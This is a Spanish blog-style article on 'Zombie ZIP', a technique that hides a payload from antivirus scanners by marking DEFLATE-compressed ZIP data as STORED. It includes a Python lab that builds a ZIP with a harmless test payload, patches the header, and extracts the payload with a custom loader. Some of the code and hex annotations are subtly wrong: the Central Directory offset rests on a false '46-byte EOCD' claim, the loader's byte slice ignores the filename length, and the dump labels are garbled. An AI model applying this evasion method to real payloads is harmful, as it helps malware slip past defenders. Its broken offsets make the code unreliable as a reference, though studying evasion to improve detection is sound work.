Zombie ZIP: cómo una simple manipulación del header permite ocultar malware a los antivirus

Los archivos ZIP son uno de los formatos más utilizados para distribuir software, documentos y archivos comprimidos. Precisamente por su ubiquidad, también son uno de los vehículos favoritos para distribuir malware en campañas de phishing, loaders y droppers.

Recientemente se ha publicado una nueva técnica denominada Zombie ZIP, que permite evadir motores antivirus manipulando la estructura interna del archivo ZIP. Lo interesante de esta técnica es que no explota una vulnerabilidad clásica, sino un problema de confianza excesiva en los metadatos del formato ZIP por parte de muchas herramientas de seguridad.

En este artículo analizamos cómo funciona Zombie ZIP, por qué engaña a los motores de detección y qué implicaciones tiene para analistas y defensores

El formato ZIP: un breve recordatorio

Para entender Zombie ZIP, primero hay que recordar cómo funciona un archivo ZIP.

Un archivo ZIP contiene:

  1. Local File Header
  2. Datos comprimidos del archivo
  3. Central Directory
  4. End of Central Directory Record

Dentro del header existen campos clave, entre ellos:

  • Compression Method
  • Compressed Size
  • Uncompressed Size
  • CRC

El campo Compression Method indica cómo deben interpretarse los datos comprimidos.

Los valores más comunes son:

  • 0STORED (sin compresión)

  • 8DEFLATE (el método más común)

Las herramientas de descompresión confían en ese campo para saber cómo procesar los datos. Y aquí aparece el problema...

La técnica Zombie ZIP

La técnica Zombie ZIP consiste en modificar el header del ZIP para indicar que el archivo no está comprimido, cuando en realidad sí lo está.

En otras palabras:

CampoValor declaradoValor real
Compression MethodSTOREDDEFLATE

Esto genera un comportamiento inesperado:

  1. El antivirus lee el header.
  2. Cree que el contenido no está comprimido.
  3. Analiza los bytes directamente.
  4. Pero esos bytes siguen comprimidos, por lo que parecen datos aleatorios.
  5. Resultado: no detecta el malware.

Cuando un loader personalizado procesa el archivo, simplemente ignora el header manipulado y descomprime los datos correctamente, recuperando el payload.

De ahí el nombre “Zombie ZIP”: el malware parece muerto o inerte durante el análisis, pero revive cuando el loader lo procesa correctamente.

Ejemplo de header ZIP modificado

Un Local File Header normal en hex para un archivo payload.exe podría verse así:

50 4B 03 04 ; signature 14 00 ; version needed to extract 00 00 ; general purpose bit flag 08 00 ; compression method: DEFLATE 00 00 00 00 ; last mod file time/date ... ; CRC, compressed size, uncompressed size

Con Zombie ZIP:

50 4B 03 04 ; signature 14 00 00 00 00 00 ; compression method modificado a STORED 00 00 00 00 ...

Los bytes del archivo comprimido siguen en DEFLATE, pero el header indica “sin compresión”. Esto provoca que:

  • Parsers estándar lean datos “crudos”
  • Antivirus basados en firmas no detecten el malware
  • Herramientas como 7-Zip o WinRAR muestren errores de CRC o método no soportado

Laboratorio práctico

1. Generar un payload de prueba

Para seguridad, usamos un payload de prueba inofensivo: un simple archivo de texto o un “Hello World” ejecutable simulado:

# payload.py with open("payload.exe", "wb") as f: f.write(b"echo Zombie ZIP Test\n")

Esto crea payload.exe de unos pocos bytes.

2. Crear un ZIP normal

import zipfile # Crear un ZIP comprimido normalmente (DEFLATE) with zipfile.ZipFile("payload.zip", "w", compression=zipfile.ZIP_DEFLATED) as zf: zf.write("payload.exe")

Ahora payload.zip contiene payload.exe comprimido con DEFLATE.

3. Convertir a Zombie ZIP

# Modificar el Local File Header para evadir análisis with open("payload.zip", "r+b") as f: data = bytearray(f.read()) # Offset típico del Compression Method en LFH: byte 8 (dependiendo del ZIP) lfh_offset = 8 data[lfh_offset] = 0 # Cambiar DEFLATE (0x08) a STORED (0x00) # Opcional: también modificar Central Directory Compression Method # CD suele comenzar después del LFH + tamaño de archivo cd_offset = len(data) - 46 # EOCD estándar tiene 46 bytes data[cd_offset + 10] = 0 # Cambiar CD Compression Method a STORED f.seek(0) f.write(data)
  • Ahora el ZIP es Zombie ZIP: header dice “sin compresión”, pero datos siguen en DEFLATE

  • Abrirlo en 7-Zip o WinRAR dará errores de CRC o método no soportado

Hex dump del Zombie ZIP

Ejemplo simplificado (primeros bytes LFH):

00000000 50 4B 03 04 14 00 00 00 00 00 B7 AC CE 34 00 00 |PK............4..| 00000010 00 00 0F 00 00 00 70 61 79 6C 6F 61 64 2E 65 78 |......payload.ex| 00000020 65 0B 00 50 4B 07 08 1C 00 00 00 1C 00 00 00 |e..PK..........|
  • Offset 800 00 → Compression Method STORED

  • Bytes 30-42 → payload comprimido DEFLATE

Central Directory y EOCD también requieren coherencia interna, pero no bloquean la evasión.

4. Loader Python que extrae el payload ignorando el header

import zipfile import zlib # Abrimos el Zombie ZIP manualmente y extraemos el payload with open("payload.zip", "rb") as f: content = f.read() # Buscar bytes del payload (después de LFH de 30 bytes) payload_bytes = content[30:30+len(content)-76] # Ajustar según tamaño # Descomprimir usando DEFLATE ignorando header STORED decompressed = zlib.decompress(payload_bytes, -zlib.MAX_WBITS) # Guardar payload real with open("payload_extracted.exe", "wb") as f: f.write(decompressed) print("Payload extraído correctamente")
  • Este loader ignora la manipulación del header

  • Descomprime correctamente el payload y lo guarda listo para ejecutar en un laboratorio seguro

Fuentes:

Comentarios